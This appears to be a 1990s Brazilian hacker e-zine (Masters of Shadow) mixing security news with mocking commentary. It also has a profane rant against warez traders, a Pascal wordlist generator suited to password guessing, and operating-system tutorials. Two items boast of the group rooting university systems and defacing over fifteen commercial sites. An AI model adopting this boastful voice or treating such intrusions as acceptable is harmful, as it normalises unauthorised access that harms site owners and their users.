  [Nota: Primera vez?!? HAHAHAHAHAH.. com certeza  q sim... ]


  (12). YAHOO HACKED *******************************************************

	O Yahoo, o catalogo de paginas Web mais visitado do ciberespaco, so-
  freu  um ataque de hackers  na ultima semana. Os invasores  "derrubaram" o
  site na segunda-feira, durante 15 minutos, e ameacaram lancar um arrasador
  virus de computador. O ataque teve como objetivo forcar a liberacao do ha-
  cker  Kevin Mitnick, considerado  o "pirata" mais perigoso do ciberespaco. 
  O grupo  cyber, que se autodenomina  alianca PANTS/HAGIS, ao atacar o site
  colocou uma  mensagem: "Durante todo o  mes passado, todos que visitaram o
  Yahoo tem uma bomba implantada nos seus computadores. No dia d Natal, esta
  bomba se ativara". A mensagem prosseguia informando que havia um codigo qe
  funcionaria  como antidoto e que o  governo americano  teria acesso a este
  codigo, caso libertasse o hacker preso. 

  A porta  voz do Yahoo tranquilizou  os internautas que visitam o site, ga-
  rantindo que nenhum computador d visitantes seria atingido. Afirmou ainda,
  que nenhum virus foi detectado.
	O ataque  so afetou o servidor especifico p/ browsers Lynx, por isso
  apenas os usuarios que utilizam este navegador viram a mensagem, represen-
  tando menos de 1% dos 26 milhoes de pessoas que acessaram o site no ultimo
  mes.
  

  (13). PENTAGONO TEVE INVASAO DE 250 SISTEMAS DE COMPUTADOR ***************

	Mais de 250 sistemas  de computadores do  Departamento de Defesa dos
  EUA foram invadidos ano  passado e o numero de tentativas de invasaes deve
  dobrar no proximo  ano, afirmou Kenneth Minihan, diretor da Agencia de Se-
  guranca Nacional. Segundo ele, ha provas  de que a rede de computadores do
  Pentagono esta vulneravel a ataques vindos de qualquer parte do mundo. Mi-
  nihan nao revelou que tipo de informacao pode ter sido roubada. 

  [Nota: Nossa.. agora q o panaca foi descobrir isso? Me admira q um povo
  desse possa se auto-institular primeiro mundo... ]

  
  (14). A REGULAMENTACAO DO CIBERESPACO BRASILEIRO *************************

	Encontra-se estacionado na Comissao de Ciencia e Tecnologia, Comuni-
  cacao e  Informatica da Camara  dos Deputados, um substituto do projeto de
  lei do deputado Cassio Cunha Lima que dispoe sobre o controle de acesso as
  redes de computadores e o uso de informacoes disponiveis no ciberespaco. 
  Tal substitutivo, de autoria do  deputado Luiz Piahylino ultrapassa alguns
  limites, e atribui aos provedores de acesso a "responsabilidade solidaria"
  por atentados "a seguranca, integridade e sigilo das informacoes armazena-
  das em bases d dados ou disponiveis a consulta ou manuseio por usuarios da
  rede". 

  [Nota do editor: HAHAHAHA... como uns imbecis qe mal sabem usar o Word po-
  dem bolar leis relacionadas a crimes d informatica?!? putz. ]
  
  
  (15). BRASIL FAZ A PRIMEIRA PRISAO POR CRIME DE E-MAIL *******************

	Pela primeira vez no Brasil, a policia prendeu uma pessoa qe cometeu
  crimes via e-mail. O analista de sistemas de uma empresa de comunicacao de
  Sao Paulo, foi  indiciado sob acusacao  de enviar mensagens com ameacas de
  cunho sexual a mulheres via Internet.
  O acusado usou o endereco eletronico estrupador@macho.com (o erro d portu-
  gues e do acusado) para enviar mais de 700 mensagens pornograficas para as
  jornalistas Maria Cristina Poli da TV Cultura e Barbara Gancia da Folha de
  Sao Paulo. Segundo  o delegado responsavel  pela prisao, em 48 horas foram
  realizadas buscas em varios provedores da Internet com um prog. especial d
  busca, qe permitiu a prisao em flagrante do rapaz na empresa onde ele tra-
  balha.

  Os e-mails  ameacadores, que  serao usados como  provas no processo, foram
  encontrados gravados no computador do acusado, que e casado e teria implo-
  rado para que a policia nao contasse sobre a prisao a sua mulher.

  [Nota do editor: A natureza da prisao demonstra a inteligencia d nosso
  criminoso.. hmm.. ate q a policia se vira lega hehehe.... ]

  
  (16). ESPECIALISTA SIMULA ATAQUE AO HOME BANKING DO BANCO DO BRASIL ******

	No ultimo  sabado, o especialista  em seguranca  de dados, Andre dos
  Santos, que trabalha na Universidade da California, provou qe poderia pro-
  vocar um  ataque mal-intencionado  ao home banking mantido  pelo Banco  do
  Brasil na Web. 
  Usando tecnicas  de ataque a classes  Java implementadas pelo banco no seu
  sistema  de login do home banking, Andre  "furou" o esquema  de protecao e
  conseguiu  capturar informacoes  sigilosas como  numero da conta-corrente,
  senha da conta-corrente e senhas da Internet antes que elas fossem encrip-
  tadas. O ataque foi filmado tambem por uma equipe de TV. 
  Segundo Andre, esse tipo  de ataque a classes Java ja e conhecido ha algum
  tempo. "Minha opiniao e que o banco nao deveria usar Java para fazer o lo-
  gin."
  O Gerente da  Area de Tecnologia do  banco admite que  esse ataque usa uma
  suscetibilidade  da Internet. "Nao se trata de um ataque a seguranca de um
  banco A ou B mas de um problema inerente  a rede. Essa vulnerabilidade po-
  deria acontecer se estivessemos usando ActiveX, por exemplo".

  [Nota do editor:  Esse cara deve ter lido algum texto institulado "As 10
  formas de culpar alguem pelas cagadas do administrador". ]

  Andre argumenta q as solucoes usadas pelas instituicoes bancarias nos EUA,
  envolvem formularios especificos SSL (Security Socket Layer) e orientacoes
  para o usuario desabilitar Java e Javascript e ir direto ao site imediata-
  mente apos iniciar o browser.

  [Nota do editor: Ao qe parece o Java nao foi o Boom q c esperava, e nossos
  apressados colegas do BC estao com um baita abacaxi pra descascar... ]

  
  (17). M.O.S. visita universidades ****************************************

	Membros do MOS visitaram e rootaram com  sucesso em diversas univer-
  sidades brasileiras. E incrivel qe Universidades pretigiosas em computacao
  possam  apresentar tais falhas.. a principio nao podemos citar hosts espe-
   cificos pois ainda estamos trabalhando em alguns sistemas.
  

  (18). M.O.S. institui novo recorde nacional... ***************************

	Ja no primeiro dia  do ano, membros do M.O.S invadiram com sucesso o
  host q armazena a home-page da SERASA. Ja sabiamos qe esse mesmo host sus-
  tentava uma vasta serie de outros  dominios, dessa forma, o M.O.S. quebrou
  um novo recorde nacional,  invadindo e alterando em apenas 1 hora, mais de
  15 hosts, que incluem: Options Card, Serasa, Sexclub, NetTV, NetShop, TVA,
  Autonet, Netco, CDsnet, ...
  Como sempre, os admins sintam-se a vontade p/ nos contactar, ficaremos fe-
  lizes em ajudar na protecao d seu site  =)
  

  (19). JOGOS DE AZAR VIA INTERNET *****************************************

	Brasileiros q fazem apostas via Internet podem passar a sofrer puni-
  coes legais. O  Procurador-Geral de  Justica do Rio, Hamilton  Carvalhido,
  aprovou o parecer do Promotor Luiz Caffaro contra jogos em cassinos virtu-
  ais por internautas brasileiros.
  O cassino citado no parecer e de um site da Ilha de Antigua, o q dificulta
  a aplicacao da  lei brasileira especifica contra jogos de azar. O promotor
  alega, por isso, a incidencia de outras infracoes penais, como: crime con-
  tra a ordem economica e corrupcao de menores.
	O parecer sera enviado  ao Procurador-Geral da Republica e ao Comite
  Gestor Internet Brasil para analise.

  [Nota do editor: Ai Ai  Ai... tadinho... Os caras tao  comecando  a querer
  mandar na Net... hehe.. e depois nos q somos os malucos. ]
 

  (20). CLINTON ASSINA PROJETO CONTRA PIRATARIA ****************************

	Bill Clinton assinou terca-feira passada projeto de lei q torna con-
  travencao a  pirataria de materiais  com termo de copyright na Internet. O
  projeto impoe penas de 1 a 3 anos de prisao e multas d ate 250 mil dolares
  a qualquer pessoa condenada por copiar materiais via Internet assinados c/
  direito de propriedade  intelectual na Internet, como software, gravacoes,
  textos e filmagens.
	O projeto e rejeitado pelas comunidades academicas e cientificas, qe
  utilizam o livre fluxo de informacoes da Internet. Agora, o "No Electronic
  Theft Act" sera encaminhado  ao Congresso dos EUA, que podera ou nao rati-
  ficar a lei.
  
  [Nota do editor: Ok.. ok. Na MOS #2, a nova versao do MS-Word hehe ]
  

  (21). HACKER ADOLESCENTE ASSUME AUTORIA DO LAND ATTACK *******************

	"Meltman", o hacker qe produziu o codigo de ataque Land Attack, nada
  mais e do q um adolescente canadense de 16 anos chamado Hugo Breton. Mesmo
  tendo mostrado arrependimento  em lancar o  Land Attack ao publico, Breton
  alertou que estas ameacas sao bombasticas como forma d alerta as redes que
  dizem ser suficientemente seguras. Informou ter anteriormente  utilizado a
  ameaca dentro de  canais de IRC, fazendo com que pequenos hosts quebrassem
  uns aos outros.
	Oficialmente conhecido por "land c. code" , Land Attack tem como ob-
  jetivo enganar a maquina atacada ao enviar uma sessao de TCP. Quando a ma-
  quina "cai", a unica solucao e o reboot.

	Cisco, empresa que teve seus roteadores afetados pela ameaca, enviou
  emails de alerta aos usuarios, provendo maiores detalhes sobre a situacao.
  Os firewalls, diferente  dos roteadores, nao  se mostraram  vulneraveis ao
  Land Attack.

  [Nota do editor: O q eles esperavam? Um Sr. d 70 anos? Bah! quando  o cara
  fode um site o classificam como um adoslecente espinhudo qe passa horas no
  micro, mas quando  faz algo  inteligente acham q ele tem q ter uns 40 ani-
  nhos?!? ]

  
  (22). BELGICA INVESTIGA ROUBO DE INFORMACOES POLICIAIS *******************

	Autoridades belgas estao investigando o que pode resultar quando uma
  falha na seguranca de um sistema, q contem dados importantes, e descoberta
  por criminosos. Recentemente, um funcionario do sistema d computacao belga
  SIRENE foi preso por vender informacoes policiais internacionais a organi-
  zacoes criminosas. 
	SIRENE controla  arquivos do  grupo Schengen que  contem informacoes
  sobre pessoas desaparecidas ou procuradas pela policia. O grupo eh formado
  por 15 membros, porem apenas nove(Austria, Italia, Alemanha, Espanha, Por-
  tugal, Luxemburgo e Paises  Baixos) aplicam todas as regras alem das fron-
  teiras e fluxo livre de informacoes.
  Ate o momento nao foi descoberto quais tipos d informacao foram vendidas e
  por quanto tempo. Alem disso, ainda nao esta claro se a organizacao crimi-
  nosa opera somente na Belgica ou internacionalmente.


<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
				   - 05 -
				  
			       --------------
			       - Warez d00z -
			       --------------

	Como se nao bastassem os imbecis qe se divertem brincando de Nuke, e
  flood, outra legiao de idiotas esta conquistando cada vez mais adeptos, no
  Brasil e no mundo, sao os warez boys...
  
	A medida qe esses seres aumentam, junto crescem com eles centenas de
  BBS de outros iditoas q tambem c divertem em coletar programas. Esses por-
  cos, sao capazes de gastar horas, num dowload de alguma merda que eles nao
  sabem nem mesmo pra que serve, apenas sabem qe ela e totalmente nova, isso
  ja e suficiente...
  Quando  terminam,  os "esperto" gastam mais algumas outras tantas horas no
  upload do  dito cujo, enviando-o pra um BBS ou Site de outro idiota qualq.
  
  Waez e algo estupido, qe nao tem sentido nenhum! Ou seja, eles dao um dow-
  load, e um upload, um dowload, e um upload... com apenas um proposito: ga-
  nhar maior taxa de download no sistema, e poder pegar mais arquivos.
  E um circulo vicioso dos mais estupidos.

	Nada contra warez, afinal de contas, warez de certa forma e algo in-
  teressante... muitos hackers usam software pirateado, assim como os lamers
  q fazem warez. No entanto, o hacker quer/precisa usar o software, ao inves
  d simplesmente estar em busca d novos niveis d ratio.
  Ele quer a merda do Delphi 3 porque quer fazer um programa, e nao porque e
  algo NOVO, e  lhe dara muitos  creditos em outros sistemas lamers d warez.
  Hackers  tambem nao perdem tempo verificando quem e mais ou menos elite...
  ja os warez podem passar horas, apenas discutindo quem pegou um certo pro-
  grama primeiro. Q BOSTA! Que filha da puta c importa com isso?!?

  Entao, eu quero apoiar o meu colega Code, e desejar que todos os porcos qe
  habitam akela porra do #warez c explodam! Vcs nao valem merda.

  P.s.: Thanx for ideas Codeblaster ;)
								    Wiz4rd


<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
				   - 06 -

		       -----------------------------
		       - KmsList (Kosmos WordList) -
		       -----------------------------

	Bem, nao e objetivo  da MOS e  do zine, dar programinhas  prontos ou
  coisas do  genero, mas vamos  abrir algumas excessoes, como  nesse caso, e
  expor o codigo desse programa em Pascal(YeaH!).
  Ele serve basicamente p/ vc aprender que o melhor programa para se adequar
  as suas necessidades, e o que voce proprio faz!
	Esse programa ira  ler um arquivo texto, e, atraves dele, gerara uma
  wordlist(Wordlist.dic). O programa e um bom utilitario, q explana passagem
  de parametros, verificacao de erros de execucao e leitura de um arq texto,
  entre outras coisinhas mais...

{---// Corte aki //----------------------------------------------------------}

{ 
  KmsList (Kosmos WordList)   
  Copyright(c) 1997, Kosmos.
  Another production of Masters Of Shadow.
  Made in Brasil.

  Programa fonte produzido p/ Boletim Tecnico #1.
}


 {$M 28192,0,0}
   PROGRAM Kosmos_mos;
   USES CRT,DOS;
   label fim,erro1;
   VAR
   PALAVRA:STRING[30];
   ARQUIVO:STRING[30];
   TEXTO1:TEXT;
   texto2:text;
   CH:CHAR;
   i:word;
   x:integer;

BEGIN
{ Zerar variavel Arquivo e Obter o arquivo a ser lido atraves de parametros }

      ARQUIVO:='';
      if paramcount = 0 then goto erro1;
      for i := 1 to ParamCount do
      ARQUIVO:=ARQUIVO+(ParamStr(i));

{ Desabilitar erros de execucao e criar wordlist e abrir texto parametro }
{$i-}
       ASSIGN(TEXTO1,ARQUIVO);
       RESET (TEXTO1);
       ASSIGN(TEXTO2,'wordlist.dic');
       REwrite(TEXTO2);
       if ioresult <> 0 then
			      Begin
				 erro1:
				 Writeln;
				 Writeln (#7,' Erro ',IORESULT,' !   Digite Kmslist <texto.txt> para gerar a Wordlist.Dic');
				 writeln;
				 writeln;
				 halt(1);
			      ENd;

{$i+}
       WHILE NOT EOF(TEXTO1) DO BEGIN
       READ(TEXTO1,CH);
	 IF ((CH = #32)  {AND (PALAVRA <> '')} )
	 OR (CH=#13) THEN
	   BEGIN
	    IF (PALAVRA <> #13) AND (PALAVRA <> #10)
	    AND (PALAVRA <> '  ') AND (PALAVRA <> ' ')
	    AND (PALAVRA <> '')
			    THEN BEGIN
				   {WRITE(PALAVRA);
				   READLN;}
				   WRITELN(TEXTO2, PALAVRA);
				   PALAVRA:='';
				  END;
	    PALAVRA:='';
	   END

	ELSE PALAVRA:=PALAVRA+CH;
       END;
       CLOSE(TEXTO2);
       writeln;
       writeln ('  Wordlist.dic gerado com sucesso !   ');
       writeln;
       writeln ('    KmsList v1.0  by  Kosmos');
       textbackground(0); textcolor(0);
       writeln ('');
       textcolor(15);
       for x:=1 to 50 do begin
	   gotoxy(x,wherey+1);
	   write (' MOS  --== Masters of Shadow ');
	   textbackground(0); textcolor(0);
	   gotoxy(1,wherey-1);
	   write('');
	   gotoxy(1,wherey);
	   delay(300);
	   textcolor(15);
	   end;
       for x:=50  downto 30 do begin
	   gotoxy(x,wherey+1);
	   write (' MOS  --== Masters of Shadow ');
	   textbackground(0); textcolor(0);
	   gotoxy(1,wherey-1);
	   write('');
	   gotoxy(1,wherey);
	   delay(300);
	   textcolor(15);
	   delay(150);
	   end;
       textcolor(7);
       writeln;
       writeln;
       fim:
   END.

{---// Corte aki //----------------------------------------------------------}

	Use o programa como quiser, mas.,. deixa d ser lamer e diga onde pe-
  gou a fonte. Se vc nao fizer isso, tb to cagando e andando... o puto e vc.
	Duvidas, sugestoes e criticas: mos@thepentagon.com
			      Subject: Kosmos, kmslist

  P.s.: Se vc nao tem o pascal, pode pegar o programa ja compilado na nossa
  home-page... 'http://www.thepentagon.com/mos/'.

								    Kosmos


<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
				   - 07 -
  
			 ---------------------------
			 - Gerenciamento de Tarefa -
			 ---------------------------

	Bem, agora vamos falar sobre o Gerenciamento de tarefa em um Sistema
  Operacional. O gerenciamento d tarefa, controla a alocacao da CPU, memoria
  virtual e memoria principal. O gerenciador d tarefa inclui, um despachador
  que reconhece tres estados de tarefa: ativa, pronta e esperando. A  tarefa
  ativa esta em execucao. Ela  tem o controle de uma CPU. Uma  tarefa pronta
  tem todos os recursos de que ela precisa e esta esperando pela CPU para qe
  possa ser executada. Uma tarefa em estado de espera esta esperando q outra 
  tarefa (como rotina de E/S) termine.
	Ja dissemos que o iniciador cria um bloco de controle de tarefa para
  uma  etapa de job, EM um  instante qualquer,  muitos jobs, podem estar  no
  sistema. Segue dai  que podem existir tambem muitas etapas de job e muitos
  TCBs. Basicamente, o despachador  percorre a lista de TCBs procurando  por
  uma tarefa no estado pronto. Quando encontra uma, ele a programa para exe-
  cucao.
  Mas como gerenciar os TCBs p/ q o despachador possa percorre-los ?
  Os TCBs, podem ser acessados por meio dos ASCBs que a ASCR criou anterior-
  mente. Lembre-se d que os ASCBs na area de memoria comum. Especificamente,
  eles sao armazenados em um subconjunto da area comum, chamada area d filas
  do Sistema ( System Queue Area - SQA).
  A  coisa e mais ou menos(ASCII SuX) assim:

  Prioridade                                             Prioridade
  mais                                                   mais
  alta                                                   baixa
   ______          ______          ______                ______  Area d fila
  | ASCB | -----> | ASCB | -----> | ASCB | -----------> | ASCB | de memoria 
   ------          ------          ------                ------  comum do 
     |                |               |                     |    sistema
     v                v               v                     v 
   _______         ________        ________              ______ 
  |RCT/TCB| ----> |RCT/TCB |----->|RCT/TCB | .......... | ASCB | ------
   -------         --------        --------              ------       |
     |                |               |                     |         |
     v                v               v                     v         |
   ______          ______          ______                ______      Area de
  | TCB  | -----> | TCB  | -----> | TCB  |              | TCB  |     Memoria
   ------          ------          ------                ------      Privada
     |                |               |                     |         |
     v                v               v                     v         |
   ______          ______          ______                ______       |
  | ASCB | ------>| ASCB | ------>| ASCB |              | ASCB | ------
   ------          ------          ------                ------ 


	Ha uma ASCB para cada espaco de enderecamento. Por meio dele pode-se
  acessar o as tabelas de segmentos e de paginas. Ele tambem aponta p/ a ta-
  refa de controle de regiao(Region Control Task - RCT/TCB). Lembre-se, como
  a RCT e uma tarefa, ela tambem tem um TCB. A RCT/TCB marca o inicio de uma
  cadeia TCB. Cada  entrada na cadeia  corresponde a uma tarefa e especifica
  seu estado.
       Quando o  despachador procura por uma tarefa para ativar, percorre as
  cadeias d TCB associadas aos ASCBs. Ele percorre primeiro a cadeia associ-
  ada ao ASCB de prioridade mais alta. C encontra uma tarefa no estado pron-
  to, o despachador  passa para ela o  controle da CPU. Caso contrario,  ele
  pesquisa a  cadeia TCB associada ao proximo ASCB ate  encontrar uma tarefa
  no estado pronto.
       A tarefa  entao utiliza a CPU ate terminar, emitir uma solicitacao ao
  sistema  operacional ou utilizar todo seu quantum. O despachador entao re-
  pete o processo. Essa abordagem e um hibrido que combina elementos de pri-
  oridade e escalonamento por revezamento. O despachador preemptivo forca as
  tarefas a assumir turnos no uso da CPU. No entanto, uma tarefa associada a
  um ASCB de baixa prioridade sera executado somente quando nao houver tare-
  fas em estados pronto associadas ao ASCBs de prioridade mais alta. :P

								    Kosmos


<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
				   - 08 -

      -----------------------------------------------------------------
      - Transformacao de Endereco: Memoria Virtual para Memoria Real. -
      -----------------------------------------------------------------

	Uma maneira de lidar com a discrepancia entre as organizacoes real e
  virtual da memoria e por meio de uma tabela de paginas, que e utilizada p/
  transformar  um endereco virtual  em endereco real durante o ciclo de ana-
  lise  da instrucao. Lembre-se, um compilador ou um editor de linkagem cria
  referencias  de memoria  virtual. As  instrucoes e  os  dados do  processo
  parecem residir nos enderecos correspondentes.
	
	A expressao  transformacao dinamica de enderecos, descreve a conver-
  sao de um campo  de endereco de  uma instrucao durante sua execucao. Fazer
  isso  durante o  ciclo de  analise da instrucao   apresenta, uma    grande
  vantagem. Podemos  criar codigo que sempre executara, independentemente de
  sua posicao na memoria.
  Isso representa uma grande vantagem para as pessoas que escrevem software.
  Elas nao  precisam preocupar-se  em carregar um processo em posicoes espe-
  cificas para  que ela seja executado  corretamente.
  Com efeito, o processo torna-se independente das posicoes da memoria em qe
  eventualmente  reside. Lembre-se,   nao podemos  prever quais  as posicoes
  estarao disponiveis quando um processo esta pronto para ser executado.
	
	Vamos agora discutir a tabela  de paginas e o mecanismo da transfor-
  macao dinamica d enderecos. Antes,  porem, vamos recordar o formato tipico
  de uma instrucao em linguagem de maquina. 
	O endereco  de memoria tem dois componente um numero de pagina e uma
  posicao relativa na  pagina(ou deslocamento). Por exemplo, vamos supor que
  o  endereco de memoria  tenha 32 bits e que as  paginas de memoria  tenham
  512 bytes. O desenho abaixo mostra o formato do endereco de memoria:

	    -----------------------------------------------------
	    |Numero de pagina (23 bits) | Deslocamento (9 bits) | 
	    -----------------------------------------------------

  O deslocamento  de 9 bits poder  ter 2 elevado a 9(512 bytes) valores,  um
  para  cada byte  em um pagina. Assim uma referencia a "posicao  de memoria
  1030" significa o byte no deslocamento 6 da pagina 2.


	Equivalente Binario do numero 1030
			  |
			  |
	|---------------------------------------|

	0 . . . 0 0 0 0 0 0 1 0 0 0 0 0 0 0 1 1 0

	|-----------------------| |-------------|
		    |                    |
	  Equivalente binario       Equivalente
	  de 2 em 23 bits.           binario de
				     6 em 9 bits.


	Todas as instrucoes q devem referencia a memoria em um processo con-
  tem enderecos virtuais. O ciclo de analise da instrucao substituira qualq.
  endereco virtual por um endereco real correspondente antes que a instrucao
  seja executada.
  
  " - Mas como ocorre a conversao? Onde esta armazenado o endereco real para
  que a CPU posso transforma-la rapidamente ?"
	
  R: Depende do Sistema ! :P . Porem, uma das tecnicas consiste em fazer com
     q a tabela d paginas seja parte da arquitetura da CPU. A serie d compu-
     tadores  Xerox Sigma fez isso. Entao na nossa materia, vamos tomar como
     base  vamos usa-lo  como modelo,  para descrever a ideia basica, e mais
     adiante discutiremos outros implementacoes.
     
	Para criar uma tabela de pagina, defina uma serie de registradores d
  CPU. Cada entrada da Tabela corresponde a um registrador.
  Tipicamente ha 1 entrada para cada pagina virtual. Cada entrada contem uma
  pagina de memoria  real correspondente  a uma  determinada pagina virtual.
  Cada entrada contem uma pagina de memoria real correspondente a uma deter-
  minada pagina virtual e um processo em execucao.
  Lembre-se de que um processo tem espaco de memoria virtual determinado por
  suas referencias de memoria.
  Quando o sistema  armazena o processo na  memoria, usa todas as paginas de
  memoria disponiveis. Nesse ponto, as referencias de memoria nas instrucoes
  nao correspondem s posicoes reais. No entanto, antes qe o processo receba
  o controle da CPU, o sistema operacional carrega numeros de paginas de me-
  moria reais em  suas entradas da tabela de paginas. Entao, durante o ciclo
  de analise da instrucao, a CPU analisa cada referencia de memoria. O nume-
  ro d paginas, refere-se a uma entrada de tabela de paginas.
  A entrada, por sua vez, contem o numero de pagina da memoria real.
  Com esse arranjo, o sistema pode relocar um processo facilmente;  tudo o q
  ele  tem de fazer e redefinir as entradas de tabela de paginas. Essa ideia
  e similar aquele esquema de ENDERECAMENTO INDIRETO, exceto que ela nao re-
  quer uma referencia extra de memoria. Nessa implementacao da transformacao
  dinamica  de enderecos, a referencia extra e para um registrador de CPU, o
  que torna a transformacao mais rapida e eficiente.
  Bem, vou tentar desenhar um metodo como exemplo(ASCII sux! :P)...
  
Paginas                 Numero 
.        ____________     da       _____________       __________  Pagina de
.       |            |  Entrada   |              |    |          | Memoria 
.       |            |    .       |              |    |          | Real
.       |            |    .       |              |    |          | 
.       |            |    .       |              |    |          | 
.       |            |    .       |              |   .|.Codigo   | 91
.       |            |    .       |              |  . |          | 
.       |            |    .       |              | .  |          | 
.       |------------|    80      |     91       |. ..|.Codigo   | 99
.       |            |    81      |     99       |..: |          | 
.       | Codigo do  |    82      |     104      |....|.Codigo   | 104
.       | Programa   |    83      |     123      |... |          | 
.       |            |    84      |     128      |. :.|.Codigo   | 123
.       |------------|    .       |              | .  |          | 
.       |            |    .       |              |  . |          | 
.       |            |    .       |              |   .|.Codigo   | 128
.       |            |    .       |              |    |          | 
.       |            |    .       |              |    |          | 
.       |            |    .       |              |    |          | 
	 ------------              --------------      ----------
	  Memoria                    Tabela de           Memoria
	   Virtual                    Pagina              Real


	Vamos supor que um  usuario crie um processo que e executado nas pa-
  ginas  virtuais de 80 a 84. Em  outras palavras, todas as suas referencias
  sao para as paginas de numeros 80 ate 84. Agora supunhetamos que, quando o
  processo  ganha o controle da CPU, ele resida nas paginas de  memoria real
  91, 99, 104, 123 e 128.
  Antes q o processo receba o controle da CPU, o sistema operacional carrega
  os numeros de pagina de memoria real nas entradas 80 a 84 da tabela de pa-
  ginas; ate onde  interessa ao processo, as instrucoes e  dados ainda estao
  nas paginas 80 a 84.
  Agora supunhetamos (de novo) q a primeira instrucao esteja no deslocamento
  0 da pagina 80. Quando o processo  comecar a execucao, o  contador de pro-
  grama  contera aquele endereco.  Durante a busca da  instrucao, o valor 80
  estara nos bits superiores d enderecamento. mas 80, na realidade se refere
  a uma entrada na tabela de paginas. A CPU usa o valor naquela entrada para
  determinar  a pagina de memoria  a ser acessada. Nesse  caso, ela  busca a
  primeira instrucao a partir do deslocamento 0 na pagina 9(o conteudo da 80
  - entrada). Em seguida, a  instrucao e decodificada e executada. Vamos su-
  por que  ela faca referencia ao enderecamento dado pelo deslocamento 73 na
  pagina 84. Novamente, esse e  um enderecamento  virtual. A CPU substituira
  84 pelo valor na entrada 84 da tabela de paginas. Essa e a pagina de memo-
  ria a ser referenciada. Aqui a  instrucao realmente faz referencia ao des-
  locamento 73 na pagina 128.
	Se  o processo nao sofreu desvio, a proxima instrucao sera obtida do
  deslocamento 1 na pagina virtual 80. Por meio da transformacao dinamica de
  enderecos, a CPU realmente a busca do deslocamento 1 da pagina  de memoria 
  real 91. A  instrucao e analisada e todas as referencias de memoria subse-
  quentes  sao dirigidas atraves da tabela de paginas. Note que o codigo que
  parece residir consecutivamente nas paginas 80 e 81 esta realmente armaze-
  nado nas paginas 91 e 99, Assim, a transformacao dinamica de enderecos mu-
  da aquilo que parece ser referencia consecutivas.
  
  E claro que nem todos os sistemas implementam as tabelas de paginas exata-
  mente dessa forma. No entanto, o uso d uma tabela d paginas para relocacao
  e comum, e minha materia  ilustra a logica usada  para converter enderecos
  virtuais em enderecos reais. :P

								    Kosmos

<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
				   - 09 -

		     ----------------------------------
		     - Tabela de Alocacao de Arquivos -
		     ----------------------------------

	Um fato q me deixou um tanto quanto curioso, foi qe com o surgimento
  de HD's maiores de 1Gb, a moda era se  falar de Clusters, particionar o HD
  e coisa e tal. Algumas  HPs "hackers" ate fizeram  materias falando sobre,
  com as tabelinhas de Mb, por divisao.
  O interessante mesmo, e que ninguem nem  sequer se preocupou em saber como
  funcionava afundo a Tabela de Alocacao de Arquivos. Entao vamos a ela...
  
  Antes um lembrete: Para  discos de  dupla face, o  MS-DOS aloca setores em
  clusters de dois setores. O mais importante agora, e o fato de qe o MS-DOS
  numera os clusters  comecando  em 0. Assim, se temos 720 setores, o MS-DOS
  numera os clusters de 0 a 359. Se o MS-DOS souber o numero do cluster, po-
  dera calcular  o  numero dos setores. O primeiro  setor de um cluster e' o
  numero do cluster multiplicado  por 2. O segundo e  simplesmente o proximo
  setor logico. A partir dai, ele pode  calcular o numero de trilhas e o nu-
  mero relativo do setor.
  Dessa forma, o MS-DOS conseguira encontrar qualquer arquivo, desde que ele
  possa encontrar todos os  clusters alocados a ele. Como os arquivos, podem
  ocupar  numeros variaveis de  clusters, o  MS-DOS, armazena os  numeros na
  forma de uma  lista ligada. Cada no na lista e na realidade uma entrada da
  FAT. A entrada do  diretorio para  o arquivo contem o  numero do  primeiro
  cluster e a posica do primeiro no.
  A maneira pela qual o MS-DOS implementa a lista ligada e um tanto interes-
  sante: cada valor da FAT serve a  duas finalidades. Ele indica nao somente
  um numero de cluster, mas tambem a entrada da FAT onde o MS-DOS pode loca-
  lizar, o proximo numero do Cluster.
	

  Localizando as entradas da FAT.

	Cada entrada da FAT, e associada a um determinado arquivo, mas a im-
  plementacao, nao e tao direta quanto possa parecer a principio. Observar q
  cada entrada da FAT deve ser capaz de armazenar um valor de ate 359.
  Discos de densidade mais alta tem mais clusters e consequentemente numeros
  maiores. Assim, a maior entrada FAT pode passar de 359. O problema, e qe a
  entrada da FAT precisa de mais de um byte, ja que um byte esta limitado ao
  valor maximo de 255.
	Se cada entrada da FAT tivesse 2 bytes, o maior seria (2^16) - 1, ou
  65.535. Isso e facilmente  suficiente para conter qq numero de cluster que
  precisemos. Porem, o MS-DOS usa somente 1 1/2 byte para cada entrada. Como
  1 1/2 byte sao 12 bits, pode conter numeros de cluster d ate (2^12) -1, ou
  4.095. A vantagem de se usar 12 bits em vez d 16 e que as entradas FAT sao
  menores. Assim, a FAT requer menor  espaco, deixando mais espaco p/ os ar-
  quivos. A desvantagem e a complicacaoo de manusear unidades de 12 bits. Pq
  mais dificuldade ? Bem...
	Como cada entrada FAT ocupa 1 1/2 byte, o DOS armazena duas entradas
  consecutivas em 3 bytes consecutivos. Assim, dado um  numero de entrada, a
  primeira coisa que o MS-DOS deve fazer e identificar os dois bytes corres-
  pondentes no setor FAT. Entao  carrega os dois bytes, em um registrador...
  Mas somente 12 dos 16 bits  sao o valor real da FAT. A questao portanto e:
  "Quais 12 bits ?" He He He. Para complicar  ainda mais, o microprocessador
  armazena  inteiros de 2 bytes na  memoria com  o byte menos  significativo
  primeiro e o mais significativo depois.
  Bem vamos ver agora qual a capacidade de nossos leitores...
  No proximo zine eu dou a resposta  :P

								    KosMOS


<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
				   - 10 -

			   ---------------------
			   - Controladores DMA -
			   ---------------------
	
	Vc ja deve ter ouvido falar sobre controladores DMA. O unico proble-
  ma e q nao sabe pra servem, ou o q sao... ate agora.
	
	Os processos que usam dispositivos rapidos como fitas e discos, fre-
  quentemente  tem de ler ou escrever milhares de caracteres de cada vez. Os
  dispositivos e processos  poderao ser muito mais eficientes se um bloco de
  caracteres for transferido  em cada operacao em vez de um unico caractere.
